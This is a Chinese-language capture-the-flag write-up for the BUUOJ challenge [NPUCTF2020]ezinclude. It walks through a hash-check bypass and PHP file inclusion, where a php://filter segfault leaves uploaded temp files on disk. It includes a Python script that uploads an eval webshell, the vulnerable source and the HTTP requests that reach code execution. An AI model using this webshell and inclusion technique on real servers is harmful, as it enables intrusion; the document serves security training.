# BUUOJ-[NPUCTF2020]ezinclude 1
# 涉及的知识点
- 文件上传时的临时文件
- php7 文件上传时
Segment Fault ,上传的临时文件不会被删除
- 绕过
disable_functions
# 解题过程
扫个目录,存在 index.php 、 dir.php 、 404.html
404.html 没啥用,先看 dir.php ,好像获取目录内文件的,但是不知道是什么地方的,之后看看。
index.php 抓个包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| HTTP/1.1 200 OK Server: openresty Date: Mon, 27 Oct 2025 14:20:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 73 Connection: close X-Powered-By: PHP/7.0.33 Set-Cookie: Hash=fa25e54758d5d5c1927781a6ede89f8a; expires=Mon, 08-Dec-2025 06:20:37 GMT; Max-Age=3600000 Vary: Accept-Encoding Cache-Control: no-cache
username/password error<html>
</html>
|
看到 <!--md5($secret.$name)===$pass --> 提示
Set-Cookie 中的 Hash 就是 $md5($secret.$name) (经典脑洞)
- 如果
$name='' ,则有 $md5($secret.$name)===$md5($secret)===上面的Hash
- 则
/?pass=上面的Hash 即可,或者带上 &name= 传递空值
这里是个脑洞,不知道怎么写,大神的博客里的解法是这样的,之后访问 get 传参 pass 为 hash 的值:
1 2 3 4 5 6 7 8 9 10 11 12
| GET /?pass=fa25e54758d5d5c1927781a6ede89f8a HTTP/1.1 Host: 0ab02601-d4bd-4e33-94da-895a0ac553e6.node5.buuoj.cn:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: Hash=fa25e54758d5d5c1927781a6ede89f8a Upgrade-Insecure-Requests: 1 Priority: u=0, i
|
得到回显:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| HTTP/1.1 200 OK Server: openresty Date: Mon, 27 Oct 2025 14:23:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 165 Connection: close X-Powered-By: PHP/7.0.33 Vary: Accept-Encoding Cache-Control: no-cache
<script language="javascript" type="text/javascript"> window.location.href="flflflflag.php"; </script> <html>
</html>
|
访问 flflflflag.php ,会 302,butp 重放:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| HTTP/1.1 200 OK Server: openresty Date: Mon, 27 Oct 2025 14:24:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 241 Connection: close X-Powered-By: PHP/7.0.33 Vary: Accept-Encoding Cache-Control: no-cache
<html> <head> <script language="javascript" type="text/javascript"> window.location.href="404.html"; </script> <title>this_is_not_fl4g_and_出题人_wants_girlfriend</title> </head> <> <body> include($_GET["file"])</body> </html>
|
提示文件包含,读下相关文件 index.php :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <head> <script language="javascript" type="text/javascript"> window.location.href="404.html"; </script> <title>this_is_not_fl4g_and_åºé¢äºº_wants_girlfriend</title> </head> <> <body> <?php $file=$_GET['file']; if(preg_match('/data|input|zip/is',$file)){ die('nonono'); } @include($file); echo 'include($_GET["file"])'; ?> </body> </html>
|
发现 data,input,zip 三个伪协议被杨了。
读一下 dir.php :
1 2 3
| <?php var_dump(scandir('/tmp')); ?>
|
是读取的临时文件,之前说过了,
php7 文件上传时 Segment Fault ,上传的临时文件不会被删除
这里需要用到一个特性,在上传文件时,如果出现 Segment Fault ,那么上传的临时文件不会被删除。这里的上传文件需要说明一下,一般认为,上传文件需要对应的功能点,但实际上,无论是否有文件上传的功能点,只要 HTTP 请求中存在文件,那么就会被保存为临时文件,当前 HTTP 请求处理完成后,垃圾回收机制会自动删除临时文件。
使 php 陷入死循环直,产生 Segment Fault 的方法:(具体原理未找到,如果有大佬清楚,请告知,感谢。)
1
| php://filter/string.strip_tags/resource=文件
|
-
版本要求:
php7.0.0-7.1.2
php7.1.3-7.2.1
php7.2.2-7.2.8
-
使用
1
| php://filter/convert.quoted-printable-encode/resource=文件
|
- 版本要求:
php<=5.6.38
php7.0.0-7.0.32
php7.0.4-7.2.12
- 函数要求
file
file_get_contents
readfile
这个时候直接用下面这个代码:
1 2 3 4 5 6 7 8
| import requests from io import BytesIO
url = "http://0f5a7ab3-e7a9-44aa-82ec-fc6ee05919ff.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" payload = "<?php eval($_POST['cmd']);?>" file_data = {"file": BytesIO(payload.encode())} res = requests.post(url=url,files=file_data, allow_redirects=False) print(res)
|
中的
指定,
这里可以直接访问 dir.php 获得文件名。
之后通过 flflflflag.php 进行临时文件包含即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /flflflflag.php?file=../../../tmp/php7nXFiI HTTP/1.1 Host: 0ab02601-d4bd-4e33-94da-895a0ac553e6.node5.buuoj.cn:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: Hash=fa25e54758d5d5c1927781a6ede89f8a Upgrade-Insecure-Requests: 1 Priority: u=0, i Content-Type: application/x-www-form-urlencoded Content-Length: 14
cmd=phpinfo()
|
flag 在 phpinfo 里。